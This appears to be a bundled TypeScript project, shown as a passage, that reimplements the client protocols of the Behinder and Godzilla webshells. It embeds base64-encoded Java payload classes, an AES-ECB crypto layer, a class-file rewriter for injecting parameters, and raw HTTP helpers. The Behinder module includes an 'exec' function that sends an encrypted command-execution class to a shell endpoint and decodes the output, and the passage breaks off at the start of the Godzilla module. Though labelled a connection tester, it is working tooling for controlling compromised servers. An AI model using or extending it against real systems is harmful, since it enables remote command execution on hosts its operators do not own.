\"AABgAQUACwABAAAAYABFAKkAAgAAAGABIAUPAAMACQBTBRADHQAEABAALQHgAPwABQAZABoFEQALAAYAVAAIAKoAqwAFAAABIwEk\" +\n \"AAEAIQAAAJIABAAGAAAAHiortgBGLC22ASg6BRkFxgAOGQUrGQS2AG2wOgUBsAABAAAAGQAaAO4AAgAkAAAAFgAFAAAEoAAMBKEA\" +\n \"EQSiABoEpAAcBKcAJQAAAD4ABgAAAB4ALgAvAAAAAAAeAQUACwABAAAAHgBFAKkAAgAAAB4FEgUOAAMAAAAeASAFDwAEAAwADgCq\" +\n \"AKsABQAAASoBKwABACEAAACrAAMABgAAACcBOgSnAB0rLC22BRM6BBkEBLYEugFMpwAKOgUrtgUWTCvH/+UZBLAAAQAGABYAGQDu\" +\n \"AAIAJAAAACYACQAABKsAAwSsAAYErgAOBK8AFASwABYEsQAbBLIAIASsACQEtQAlAAAAPgAGAAAAJwAuAC8AAAAAACcCgQATAAEA\" +\n \"AAAnAEUAqQACAAAAJwEgBQ4AAwADACQAqgCrAAQAGwAFAK8BYQAFAAkFGQUaAAIDywAAAAQAAQDuACEAAADaAAIABgAAAEIBTSrB\" +\n \"BK+ZAAsqwASvTacAKQFOKrYARjoEpwAZGQQrtgUbTQE6BKcADDoFGQS2BRY6BBkEx//oLAS2BLosKrYEwLAAAQAcACYAKQDuAAIA\" +\n \"JAAAADoADgAABLkAAgS6AAkEuwAOBLwAEQS9ABMEvgAZBL8AHATBACMEwgAmBMMAKwTEADIEvwA3BMgAPATJACUAAAA+AAYAAABC\" +\n \"AQUACwAAAAAAQgUfAKkAAQACAEAFCQTbAAIAEwAkAKoAqwADABkAHgKBABMABAArAAcArwFhAAUAAgEDAQQAAQAhAAAC2QAIAAoA\" +\n \"AAGdKxMFILgFIk0sEwUguAUiTrsC5lm3Aug6BKcAFBkELbYC8FcqLRMFJAG2BSZOLcf/7gM2BacBWioZBBUFtgL2EwUoAbYFJjoG\" +\n \"GQbGAUEqGQYTBSoBtgUmOgenASgqGQe2AEYTBSwBtgEoxgDtKhkHtgBGEwUuBL0ATVkDsgEbWccAHVcTAR24AFpZswEbpwAPuwBe\" +\n \"Wl+2AGC3AGa/U7YBKMYAtioZB8AAdRMFLAO9AEe2BSbAAHU6CBkIxwAJEwUwpwAFGQg6CCoZBxMFLgS9AEdZAxkIU7YFJlcqKrQA\" +\n \"vrYARhMC3AW9AE1ZA7IBG1nHAB1XEwEduABaWbMBG6cAD7sAXlpftgBgtwBmv1NZBLIBG1nHAB1XEwEduABaWbMBG6cAD7sAXlpf\" +\n \"tgBgtwBmv1O2ASg6CRkJGQgEvQBHWQMZCFO2AG1XKhkHEwUyAbYFJjoHpwAuEwU0Ayy2AEa2AtG4BTYZB7YARrYAaZkAEioZBxMF\" +\n \"MgG2BSY6B6cABgE6BxkHx/7ZpwAFOgaEBQEVBRkEtgLzof6ipwAETbEABQCDAIkAkACmAPMA+QEAAKYBFwEdASQApgA3AYYBiQDu\" +\n \"AAABmAGbAO4AAgAkAAAAlgAlAAAEzgAIBM8AEATRABkE0gAcBNMAIwTUAC0E0gAxBNYANwTYAEgE2QBNBNoAWQTbAFwE3ABsBN0A\" +\n \"dQTeAJ0E3QCjBN8AuATgAMcE4QDaBOIA5QTjATEE4gE2BOQBRwTlAVME5gFWBOcBWgToAWEE5wFkBOkBbwTqAXsE6wF+BOwBgQTb\" +\n \"AYYE8AGLBNYBmAT1AZwE+AAlAAAAZgAKAAABnQAuAC8AAAAAAZ0ACgALAAEACAGQBTkACwACABABiAU6AAsAAwAZAX8FOwMdAAQA\" +\n \"NAFkAeAA/AAFAEgBPgU8AAsABgBZAS0FPQALAAcAuACbBT4AqQAIATYAHQU/AKsACQAKAEoAXQABACEAAABMAAEAAgAAAAgquABa\" +\n \"sEwBsAABAAAABAAFAO4AAgAkAAAADgADAAAE/AAFBP0ABgT+ACUAAAAWAAIAAAAIBUAAqQAAAAYAAgCvAWEAAQAJAOAA3QABACEA\" +\n \"AABrAAMAAgAAACsqAzMRAP9+KgQzEQD/fhAIeIAqBTMRAP9+EBB4gCoGMxEA/34QGHiAPBusAAAAAgAkAAAAEgAEAAAFBAAdBQUA\" +\n \"JwUEACkFBgAlAAAAFgACAAAAKwVBAA8AAAApAAIB4AD8AAEAAQQxAEMAAQAhAAAAPAABAAIAAAAIK7YAdLgFQrAAAAACACQAAAAG\" +\n \"AAEAAAUKACUAAAAWAAIAAAAIAC4ALwAAAAAACAD2AKkAAQAJBDEFRAABACEAAAMLAAYADwAAAZsDPCq+PQcqvgVgBmxovAhOAjYE\" +\n \"BDYFsgAiOgYbNgccG2QGbAZoNggbFQhgNgkVBJ4AFhUIFQQHbAZopAALFQQHbAZoNggDNgqnAKsVBxUIYBUJuASMNgsVBzYMFQo2\" +\n \"DacAdyoVDIQMATMRAP9+EBB4KhUMhAwBMxEA/34QCHiAKhUMhAwBMxEA/36ANg4tFQ2EDQEZBhUOEBJ8ED9+NJFULRUNhA0BGQYV\" +\n \"DhAMfBA/fjSRVC0VDYQNARkGFQ4QBnwQP340kVQtFQ2EDQEZBhUOED9+NJFUFQwVC6H/iBULFQdkBmwHaDYMFQoVDGA2ChULNgcV\" +\n \"BxUJof9UFQccogCVKhUHhAcBMxEA/342Cy0VCoQKARkGFQsFejSRVBUHHKAALy0VCoQKARkGFQsHeBA/fjSRVBUFmQBcLRUKhAoB\" +\n \"ED1ULRUKhAoBED1UpwBHKhUHhAcBMxEA/342DC0VCoQKARkGFQsHeBA/fhUMB3qANJFULRUKhAoBGQYVDAV4ED9+NJFUFQWZAAwt\" +\n \"FQqECgEQPVS7AHVZLbcA2LAAAAACACQAAACiACgAAAUOAAIFDwAFBRAAEAURABMFEgAWBRMAGwUUAB4FFQAnBRYALQUXAD0FGABF\" +\n \"BRkASAUaAEsFGwBXBRwAYgUdAI0FHgCgBR8AswUgAMYFIQDWBRwA3QUjAOgFJADvBSUA8wUaAPoFJwEABSgBDQUpARwFKgEiBSsB\" +\n \"NAUsATkFLQFCBS4BSwUwAU4FMQFbBTIBcgUzAYQFNAGJBTUBkgU5ACUAAAC2ABIAAAGbBUUADwAAAAIBmQVGAPwAAQAFAZYFRwD8\" +\n \"AAIAEAGLBUgADwADABMBiAVJAPwABAAWAYUFSgE/AAUAGwGABUsABgAGAB4BfQVMAPwABwAnAXQFTQD8AAgALQFuBU4A/AAJAEgB\" +\n \"UwVPAPwACgBXAJwFUAD8AAsAWwCCBVEA/AAMAF8AfgVSAPwADQCNAEkFUwD8AA4A6AALBVQA/AAMAQ0AhQVVAPwACwFbADcFVgD8\" +\n \"AAwACQVXAWMAAQAhAAADCAAGAAwAAAGYKrYBzpoABwO8CLAqtgB0TAM9K74+AzYEHRxkNgUrHQRkMxA9oAAThAQBKx0FZDMQPaAA\" +\n \"BoQEARUEmgASFQUGfpkACwcVBQZ+ZDYEBhUFBmAHbGgVBGS8CDoGEQEAvAo6BxkHArgFWAM2CKcAERkHsgAiFQg0FQhPhAgBFQiy\" +\n \"ACK+of/sGQcQPRD+TwM2CAM2CRASNgqnAIorHIQCATMRAP9+NgsZBxULLlk2C5wAMxULEP6gACwVChAGoAATHB2fABUrHIQCATMQ\" +\n \"PaAAChUKEBKgAFO7BVtZEwVdtwVfvxUJFQsVCniANgmECvoVCpwAMRkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVQZBhUIhAgB\" +\n \"FQmRVBASNgoDNgkcHaH/dxUKEAagABQZBhUIhAgBFQkQEHqRVKcAORUKmgAiGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVKcA\" +\n \"FRUKEAygAA67BVtZEwVgtwVfvxUIGQa+nwAeFQi8CDoLGQYDGQsDGQa+FQi4BIy4ApQZCzoGGQawAAAAAgAkAAAAygAyAAAFPQAH\" +\n \"BT4ACwVAABAFQQASBUIAFQVDABgFRAAdBUUAJwVGACoFRwA0BUgANwVLAEMFTABLBU4AWgVPAGEFUABnBVEAbQVSAHgFUQCEBVQA\" +\n \"iwVVAI4FVgCRBVcAlQVYAJgFWQCkBVoArwVbALYFXADUBV0A3wViAOkFYwDsBWQA8QVlAP8FZgENBWcBGAVoARwFaQEfBVgBJAVt\" +\n \"ASsFbgE5BW8BQQVwAU8FcQFdBXIBZwV0AXIFdgF6BXcBgAV4AZEFeQGVBXsAJQAAAI4ADgAAAZgFYgCpAAAAEAGIBUUADwABABIB\" +\n \"hgVMAPwAAgAVAYMFTgD8AAMAGAGABWMA/AAEAB0BewD7APwABQBaAT4FSAAPAAYAYQE3BUsFZAAHAGoAGgHgAPwACACOAQoFTwD8\" +\n \"AAgAkQEHBVMA/AAJAJUBAwVlAPwACgCkAHsAOwD8AAsBgAAVBJQADwALAAEFZgAAAAIFZw==\";\n\nexport const ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, 'base64');\nexport const CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, 'base64');\nexport const GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, 'base64');\n","/**\n * Minimal Java class-file rewriter.\n *\n * Behinder sends \"payload template\" classes whose static String fields are\n * filled client-side before upload (its `Params.getParamedClass` uses ASM to\n * set a `ConstantValue` on the field). We only need that one feature: set a\n * static String field's ConstantValue, leaving everything else byte-identical.\n */\n\nconst CONSTANT_VALUE = \"ConstantValue\";\n\nclass Cursor {\n constructor(readonly buf: Buffer) {}\n u1(off: number): number {\n return this.buf.readUInt8(off);\n }\n u2(off: number): number {\n return this.buf.readUInt16BE(off);\n }\n}\n\ninterface PoolInfo {\n count: number;\n /** offset just past the last pool entry */\n end: number;\n utf8: Map<number, string>;\n constantValueNameIndex: number; // 0 = absent\n}\n\nfunction readPool(cur: Cursor): PoolInfo {\n const buf = cur.buf;\n const count = cur.u2(8);\n const utf8 = new Map<number, string>();\n let constantValueNameIndex = 0;\n let off = 10;\n for (let i = 1; i < count; i++) {\n const tag = cur.u1(off);\n switch (tag) {\n case 1: {\n const len = cur.u2(off + 1);\n const value = buf.toString(\"utf8\", off + 3, off + 3 + len);\n utf8.set(i, value);\n if (value === CONSTANT_VALUE) constantValueNameIndex = i;\n off += 3 + len;\n break;\n }\n case 3: // Integer\n case 4: // Float\n case 9: // Fieldref\n case 10: // Methodref\n case 11: // InterfaceMethodref\n case 12: // NameAndType\n case 17: // Dynamic\n case 18: // InvokeDynamic\n off += 5;\n break;\n case 5: // Long — two slots\n case 6: // Double — two slots\n off += 9;\n i++;\n break;\n case 7: // Class\n case 8: // String\n case 16: // MethodType\n case 19: // Module\n case 20: // Package\n off += 3;\n break;\n case 15: // MethodHandle\n off += 4;\n break;\n default:\n throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n return { count, end: off, utf8, constantValueNameIndex };\n}\n\nfunction encodeUtf8Entry(value: string): Buffer {\n const data = Buffer.from(value, \"utf8\");\n const out = Buffer.alloc(3);\n out.writeUInt8(1, 0);\n out.writeUInt16BE(data.length, 1);\n return Buffer.concat([out, data]);\n}\n\n/**\n * Return a copy of `classBytes` where the static String field `fieldName`\n * carries `ConstantValue = value` (added or replaced).\n */\nexport function injectStringConstant(\n classBytes: Buffer,\n fieldName: string,\n value: string,\n): Buffer {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n\n // walk to the fields section\n let off = pool.end;\n off += 6; // access_flags, this_class, super_class\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n\n // new constant pool entries (appended at the end, so all existing\n // references keep working)\n const newEntries: Buffer[] = [];\n let nextIndex = pool.count;\n\n let cvNameIndex = pool.constantValueNameIndex;\n if (cvNameIndex === 0) {\n newEntries.push(encodeUtf8Entry(CONSTANT_VALUE));\n cvNameIndex = nextIndex++;\n }\n newEntries.push(encodeUtf8Entry(value));\n const valueUtf8Index = nextIndex++;\n const stringEntry = Buffer.alloc(3);\n stringEntry.writeUInt8(8, 0); // String tag\n stringEntry.writeUInt16BE(valueUtf8Index, 1);\n newEntries.push(stringEntry);\n const valueStringIndex = nextIndex++;\n\n for (let f = 0; f < fieldsCount; f++) {\n const fieldStart = off;\n const nameIndex = cur.u2(off + 2);\n const descIndex = cur.u2(off + 4);\n const attrCountOff = off + 6;\n const attrCount = cur.u2(attrCountOff);\n off += 8;\n const name = pool.utf8.get(nameIndex);\n const desc = pool.utf8.get(descIndex);\n const isTarget = name === fieldName && desc === \"Ljava/lang/String;\";\n\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n isTarget &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n // replace existing ConstantValue in place: [fieldStart..off+6) + new idx + rest\n const patched = Buffer.from(classBytes.subarray(off, off + 6 + attrLen));\n patched.writeUInt16BE(valueStringIndex, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, off),\n patched,\n classBytes.subarray(off + 6 + attrLen),\n ]);\n }\n off += 6 + attrLen;\n }\n\n if (isTarget) {\n // append a new ConstantValue attribute to this field\n const newAttr = Buffer.alloc(8);\n newAttr.writeUInt16BE(cvNameIndex, 0);\n newAttr.writeUInt32BE(2, 2);\n newAttr.writeUInt16BE(valueStringIndex, 6);\n const fieldBytes = Buffer.from(classBytes.subarray(fieldStart, off));\n fieldBytes.writeUInt16BE(attrCount + 1, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, fieldStart),\n fieldBytes,\n newAttr,\n classBytes.subarray(off),\n ]);\n }\n }\n throw new Error(`field ${fieldName} (Ljava/lang/String;) not found in class`);\n}\n\n/**\n * Read back a static String field's ConstantValue, or null when absent.\n * Mirrors the injection above; useful for verification and test harnesses.\n */\nexport function readStringConstant(classBytes: Buffer, fieldName: string): string | null {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n const strings = new Map<number, number>();\n {\n let off = 10;\n for (let i = 1; i < pool.count; i++) {\n const tag = cur.u1(off);\n if (tag === 8) strings.set(i, cur.u2(off + 1));\n if (tag === 1) off += 3 + cur.u2(off + 1);\n else if ([3, 4, 9, 10, 11, 12, 17, 18].includes(tag)) off += 5;\n else if (tag === 5 || tag === 6) {\n off += 9;\n i++;\n } else if ([7, 8, 16, 19, 20].includes(tag)) off += 3;\n else if (tag === 15) off += 4;\n else throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n\n let off = pool.end + 6;\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n for (let f = 0; f < fieldsCount; f++) {\n const name = pool.utf8.get(cur.u2(off + 2));\n const attrCount = cur.u2(off + 6);\n off += 8;\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n name === fieldName &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n const utf8Index = strings.get(cur.u2(off + 6));\n return utf8Index === undefined ? null : (pool.utf8.get(utf8Index) ?? null);\n }\n off += 6 + attrLen;\n }\n }\n return null;\n}\n\n/** file head (through the pool) with patched pool count + appended entries */\nfunction headWithNewPool(classBytes: Buffer, pool: PoolInfo, newEntries: Buffer[]): Buffer {\n const head = Buffer.from(classBytes.subarray(0, pool.end));\n head.writeUInt16BE(pool.count + newEntries.length, 8);\n return Buffer.concat([head, ...newEntries]);\n}\n","/**\n * Crypto helpers shared by the webshell connection testers.\n *\n * All three tools (Behinder / Godzilla) use AES/ECB/PKCS5Padding with a\n * 16-byte key derived from an MD5 hex string — exactly what Java's\n * `Cipher.getInstance(\"AES\")` does. Node's `aes-128-ecb` with automatic\n * padding is wire-compatible with that.\n */\nimport { createCipheriv, createDecipheriv, createHash, randomBytes } from \"node:crypto\";\nimport { gunzipSync, gzipSync } from \"node:zlib\";\n\n/** Lowercase 32-char hex MD5, same as Java `functions.byteArrayToHex(md5(...))`. */\nexport function md5Hex(data: string | Buffer): string {\n return createHash(\"md5\").update(data).digest(\"hex\");\n}\n\n/** md5 hex truncated to 16 chars — the AES key derivation used by both tools. */\nexport function md5Key16(data: string): string {\n return md5Hex(data).slice(0, 16);\n}\n\n/** AES/ECB/PKCS5Padding encrypt. `key` is used as raw UTF-8 bytes (16 chars). */\nexport function aesEcbEncrypt(data: Buffer, key: string): Buffer {\n const cipher = createCipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([cipher.update(data), cipher.final()]);\n}\n\n/** AES/ECB/PKCS5Padding decrypt. Throws on bad padding (wrong key / garbage). */\nexport function aesEcbDecrypt(data: Buffer, key: string): Buffer {\n const decipher = createDecipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([decipher.update(data), decipher.final()]);\n}\n\nexport function gzip(data: Buffer): Buffer {\n return gzipSync(data);\n}\n\n/**\n * Godzilla's `functions.gzipD` behaviour: on gunzip failure it falls back to\n * the raw bytes when the input is small (< 200 bytes), otherwise it throws.\n */\nexport function gunzipLenient(data: Buffer): Buffer {\n if (data.length === 0) return data;\n try {\n return gunzipSync(data);\n } catch (err) {\n if (data.length < 200) return data;\n throw err;\n }\n}\n\n/** Base64url without padding (Java `Base64.getUrlEncoder().withoutPadding()`). */\nexport function base64UrlEncode(data: Buffer): string {\n return data\n .toString(\"base64\")\n .replaceAll(\"+\", \"-\")\n .replaceAll(\"/\", \"_\")\n .replace(/=+$/, \"\");\n}\n\nexport function base64UrlDecode(text: string): Buffer {\n let s = text.replaceAll(\"-\", \"+\").replaceAll(\"_\", \"/\");\n while (s.length % 4 !== 0) s += \"=\";\n return Buffer.from(s, \"base64\");\n}\n\nconst RANDOM_ALPHABET = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\n/** Random alphanumeric string, mirroring the tools' `getRandomString`. */\nexport function randomString(length: number): string {\n const raw = randomBytes(length);\n let out = \"\";\n for (let i = 0; i < length; i++) {\n out += RANDOM_ALPHABET[raw[i]! % RANDOM_ALPHABET.length];\n }\n return out;\n}\n","/**\n * Minimal raw-HTTP POST helper for the shell connection testers.\n *\n * Uses node:http/https directly instead of fetch because the testers need\n * exact control over the body bytes, access to raw Set-Cookie headers, an\n * optional insecure-TLS mode, and no automatic redirect following.\n */\nimport http from \"node:http\";\nimport https from \"node:https\";\n\nexport interface RawPostOptions {\n headers?: Record<string, string>;\n timeoutMs?: number;\n /** Skip TLS certificate verification (self-signed targets). */\n insecure?: boolean;\n}\n\nexport interface RawPostResult {\n status: number;\n headers: http.IncomingHttpHeaders;\n body: Buffer;\n durationMs: number;\n}\n\nexport class HttpRequestError extends Error {\n constructor(\n message: string,\n readonly url: string,\n override readonly cause?: unknown,\n ) {\n super(message);\n this.name = \"HttpRequestError\";\n }\n}\n\n/** POST `body` to `url`, return the raw response. Never follows redirects. */\nexport function postRaw(\n url: string,\n body: Buffer,\n options: RawPostOptions = {},\n): Promise<RawPostResult> {\n const { headers = {}, timeoutMs = 30_000, insecure = false } = options;\n let target: URL;\n try {\n target = new URL(url);\n } catch {\n return Promise.reject(new HttpRequestError(`invalid URL: ${url}`, url));\n }\n const isHttps = target.protocol === \"https:\";\n if (!isHttps && target.protocol !== \"http:\") {\n return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));\n }\n\n return new Promise<RawPostResult>((resolve, reject) => {\n const started = Date.now();\n const transport = isHttps ? https : http;\n const req = transport.request(\n {\n method: \"POST\",\n hostname: target.hostname,\n port: target.port || (isHttps ? 443 : 80),\n path: `${target.pathname}${target.search}`,\n // agent:false — never reuse a pooled socket. A shell server may close\n // the connection right after an empty response, and reusing such a\n // socket surfaces as a spurious ECONNRESET on the next probe.\n agent: false,\n headers: {\n \"Content-Length\": String(body.length),\n ...headers,\n },\n timeout: timeoutMs,\n ...(isHttps && insecure ? { rejectUnauthorized: false } : {}),\n },\n (res) => {\n const chunks: Buffer[] = [];\n res.on(\"data\", (chunk: Buffer) => chunks.push(chunk));\n res.on(\"end\", () =>\n resolve({\n status: res.statusCode ?? 0,\n headers: res.headers,\n body: Buffer.concat(chunks),\n durationMs: Date.now() - started,\n }),\n );\n res.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n },\n );\n req.on(\"timeout\", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));\n req.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n req.write(body);\n req.end();\n });\n}\n\n/** Extract cookie pairs (`name=value`) from a response's Set-Cookie headers. */\nexport function extractCookies(headers: http.IncomingHttpHeaders): string[] {\n const setCookie = headers[\"set-cookie\"];\n if (!setCookie) return [];\n return setCookie.map((line) => line.split(\";\", 1)[0]!.trim()).filter(Boolean);\n}\n","/** Shared types for the shell connection testers. */\n\nexport type ConnectTool = \"behinder\" | \"godzilla\" | \"suo5\";\n\nexport interface ConnectTestResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** Human-readable success detail (echo size, session id, protocol variant...). */\n detail?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface ExecResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** The command line as executed remotely. */\n command: string;\n /** Decoded remote stdout+stderr (present on success). */\n output?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface CommonConnectOptions {\n /**\n * MemShellParty shells are gated by a header check:\n * the request must carry `headerName` containing `headerValue`\n * (both are reported by `memparty gen --json` as shellToolConfig).\n */\n headerName?: string;\n headerValue?: string;\n /** Extra request headers (already merged with the gate header). */\n extraHeaders?: Record<string, string>;\n timeoutMs?: number;\n insecure?: boolean;\n}\n\n/** Build the request headers for a tester: extra headers + gate header. */\nexport function buildHeaders(\n base: Record<string, string>,\n options: CommonConnectOptions,\n): Record<string, string> {\n const headers = { ...base, ...options.extraHeaders };\n if (options.headerValue) {\n headers[options.headerName || \"User-Agent\"] = options.headerValue;\n }\n return headers;\n}\n","/**\n * Behinder (冰蝎) connection test — Java/JSP protocol.\n *\n * Mirrors the Behinder client's `doConnect()`:\n * 1. inject a random string into the Echo payload class template\n * (`Params.getParamedClass` sets the `content` field's ConstantValue)\n * 2. POST `base64(AES/ECB/PKCS5(classBytes, md5(pass)[0:16]))`\n * 3. the shell defines + runs the class; the Echo payload answers with\n * `base64(AES({\"status\":b64,\"msg\":b64}))` — some Behinder variants answer\n * raw AES bytes and/or append `magicNum` random trailing bytes, so the\n * parser tries every combination and validates the JSON envelope\n * 4. connected iff status == \"success\" and msg echoes the random string\n */\nimport { CMD_CLASS_BYTES, ECHO_CLASS_BYTES } from \"./assets.js\";\nimport { injectStringConstant } from \"./classfile.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, md5Key16, randomString } from \"./crypto.js\";\nimport { postRaw } from \"./http.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type ExecResult,\n} from \"./types.js\";\n\nexport interface BehinderConnectOptions extends CommonConnectOptions {\n /** Request body encoding. Default: try base64, then raw AES bytes. */\n requestEncoding?: \"base64\" | \"raw\";\n}\n\nconst BASE64_RE = /^[A-Za-z0-9+/=\\r\\n]+$/;\n\ninterface EchoEnvelope {\n status: string;\n msg: string;\n}\n\n/** Try to turn a response body into the decrypted echo envelope. */\nfunction parseEchoResponse(body: Buffer, key: string): EchoEnvelope | null {\n const magic = parseInt(key.slice(0, 2), 16) % 16;\n const trimmed = trimBytes(body);\n\n const candidates: Buffer[] = [];\n const push = (b: Buffer) => {\n if (b.length > 0 && b.length % 16 === 0 && !candidates.some((c) => c.equals(b))) {\n candidates.push(b);\n }\n };\n\n if (BASE64_RE.test(trimmed.toString(\"latin1\"))) {\n let decoded: Buffer | null = null;\n try {\n decoded = Buffer.from(trimmed.toString(\"latin1\"), \"base64\");\n } catch {\n decoded = null;\n }\n if (decoded) {\n push(decoded); // v3 / MemShellParty: base64(AES(json))\n if (decoded.length > magic) push(decoded.subarray(0, decoded.length - magic));\n }\n }\n if (body.length > magic) push(body.subarray(0, body.length - magic)); // raw AES + magic suffix\n push(body); // raw AES\n\n for (const candidate of candidates) {\n try {\n const plain = aesEcbDecrypt(candidate, key).toString(\"utf8\");\n const obj: unknown = JSON.parse(plain);\n if (\n obj !== null &&\n typeof obj === \"object\" &&\n typeof (obj as Record<string, unknown>).status === \"string\" &&\n typeof (obj as Record<string, unknown>).msg === \"string\"\n ) {\n const rec = obj as { status: string; msg: string };\n return {\n status: Buffer.from(rec.status, \"base64\").toString(\"utf8\"),\n msg: Buffer.from(rec.msg, \"base64\").toString(\"utf8\"),\n };\n }\n } catch {\n // not the right candidate — try the next one\n }\n }\n return null;\n}\n\nfunction trimBytes(buf: Buffer): Buffer {\n let start = 0;\n let end = buf.length;\n const isWs = (b: number) => b === 0x20 || b === 0x09 || b === 0x0a || b === 0x0d || b === 0x00;\n while (start < end && isWs(buf[start]!)) start++;\n while (end > start && isWs(buf[end - 1]!)) end--;\n return buf.subarray(start, end);\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 160 ? `${text.slice(0, 160)}...` : text;\n}\n\nexport async function testBehinder(\n url: string,\n pass: string,\n options: BehinderConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const content = randomString(48 + Math.floor(Math.random() * 48));\n const classBytes = injectStringConstant(ECHO_CLASS_BYTES, \"content\", content);\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\" && envelope.msg === content) {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n detail: `echo verified (${content.length} random bytes, ${encoding} request, HTTP ${response.status})`,\n durationMs: Date.now() - started,\n };\n }\n failures.push(\n `${encoding}: decrypted but unexpected envelope (status=${JSON.stringify(envelope.status)})`,\n );\n } else {\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n }\n\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n durationMs: Date.now() - started,\n };\n}\n\n/**\n * Behinder command execution — uploads the `Cmd` payload class with its\n * static `cmd` field filled in (same `Params.getParamedClass` mechanism as\n * the Echo payload). The payload picks `cmd.exe /c` or `/bin/sh -c` itself\n * based on `os.name`, so no OS detection is needed here.\n * The response is the usual Behinder envelope: base64(AES({status, msg})),\n * where `msg` is the base64-encoded command output (stdout then stderr).\n */\nexport async function execBehinder(\n url: string,\n pass: string,\n command: string,\n options: BehinderConnectOptions = {},\n): Promise<ExecResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const classBytes = injectStringConstant(CMD_CLASS_BYTES, \"cmd\", command);\n\n const fail = (error: string): ExecResult => ({\n ok: false,\n tool: \"behinder\",\n url,\n command,\n error,\n durationMs: Date.now() - started,\n });\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return fail(err instanceof Error ? err.message : String(err));\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\") {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n command,\n output: envelope.msg,\n durationMs: Date.now() - started,\n };\n }\n // the payload executed but reported failure — its msg says why\n return fail(`remote status \"fail\": ${envelope.msg}`);\n }\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +\n (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : \" (empty body)\"),\n );\n }\n\n return fail(\n failures.join(\"; \") + \" — wrong password, missing gate header, or not a Behinder shell\",\n );\n}\n","/**\n * Godzilla (哥斯拉) connection test — JavaDynamicPayload protocol.\n *\n * Mirrors the Godzilla client's connect + `test()`:\n * xc = md5(key)[0:16] (AES key)\n * md5 = md5(pass + xc), uppercase (response 